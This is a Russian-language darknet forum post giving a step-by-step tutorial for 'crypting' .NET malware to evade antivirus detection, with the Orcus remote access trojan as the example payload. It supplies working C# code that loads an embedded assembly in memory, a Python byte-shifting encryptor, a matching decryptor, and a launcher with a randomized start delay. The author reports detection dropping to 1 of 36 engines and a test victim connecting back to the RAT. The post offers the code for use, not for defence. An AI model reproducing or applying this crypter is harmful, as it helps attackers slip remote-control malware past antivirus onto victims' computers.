Криптуем .NET приложение

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

Morty

VIP

Morty

VIP
26 Окт 2017
537
113
Предисловие:
Мне около недели назад кинули крипт моего модуля бота от человека, который занимается этим на дарквебе и других форумах. Файлик легко разобрался через dotPeek и я чуть охренел когда открыл его. До этого момента я думал что не особо шарю в крипте, но, как оказалось, говнокод в этом деле - залог успеха.

Материалы:
Visual Studio 2015
Python 3.5
Пример .Net вируса
2 руки

Приступим:
Открываем Visual Studio и создаем Visual C# проект (console application). Далее заходим в вкладку свойств и переключаемся на Приложение Windows. Далее заходим в ресурсы, добавляем сторонний файл (выбранный .net семпл).
В методе main прописываем:
Код:
Assembly a = Assembly.Load(Properties.Resources.sample);

MethodInfo m = a.EntryPoint;
m.Invoke(a.CreateInstance(m.Name), new string[0]);
Где sample - имя вашего файла.
Я брал билд ратника Orcus и его изначальный детект был -
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!


Далее выставляем сборку на Release и собираем проект. Полученный файл чекаем на детект:
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
(9/36). Тремя строчками избавились от 17 детектов, но все равно это слишком много.

Основное палево происходит по сигнатурам файла, который лежит в ресурсах (ратник), т.к. байты ничем не зашифрованы и файл ничем не накрыт.
Соответственно, нам надо каким-то образом сокрыть эти сигнатуры и воткнуть файл в память пока антивирус ничего не понял.
Для этого создаем Python-скрипт, который будет шифровать наш файл в ресурсах:
Код:
import os

def encrypt():
   with open('run.exe', 'rb') as f:
       arr = f.read()
       with open('encrypted.txt', 'w') as w:
           arr2 = []
           for i in arr:
               if i % 2:
                   arr2.append(int(i) - 25) # Абсолютно любая цифра
               else:
                   arr2.append(int(i) + 15) # Абсолютно любая цифра
           for i in arr2:
               w.write(str(i) + " ")
encrypt()
Где run.exe - имя вашего .Net семпла
Запоминаем цифры которые прописали в скрипте и запускаем его. Рядом со скриптом создастся текстовый файл с зашифрованными байтами в нем. Добавляем его в ресурсы проекта, предварительно удалив старый.
Далее очищаем метод main и внизу создаем отдельный метод дешифровки байтов

Код:
public static byte[] decrypt()

{
   string enc = Properties.Resources.encrypted;
   string[] bytes = enc.Split(' ');
   byte[] decrypted = new byte[bytes.Length - 1];
   for (int i = 0; i < bytes.Length - 1; i++)
   {
       int curr = Convert.ToInt32(bytes[i]);
       if (curr % 2 == 0)
           decrypted[i] = Convert.ToByte(curr + 25); # Цифра из скрипта
       else
           decrypted[i] = Convert.ToByte(curr - 15); # Цифра из скрипта
   }
   return decrypted;
}
Устанавливаем цифры которые вставили в скрипте и дешифровка готова.
Далее это дело нужно как-то запускать. Для этого напишем еще один метод:

Код:
public static void run()

{
   Assembly a = Assembly.Load(decrypt());
   MethodInfo m = a.EntryPoint;
   m.Invoke(a.CreateInstance(m.Name), new string[0]);
}

А в методе main пропишем запуск потока с рандомной задержкой:
Код:
static void Main(string[] args)

{

   Thread.Sleep(new Random().Next(1, 35) * 1000);
   new Thread(run).Start();
      
}
Собираем проект, и получаем следующий результат -
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
(1/36)
Не спрашивайте почему там есть Nod. Он просто по дефолту палит все мои продукты .-.
Билд вполне рабочий, я тестировал на виртуалке и юзер отстучал в ратник. Для красоты можно сверху накрыть темидой чтоб детект держался минимальным, но это не обязательно.
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2024

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя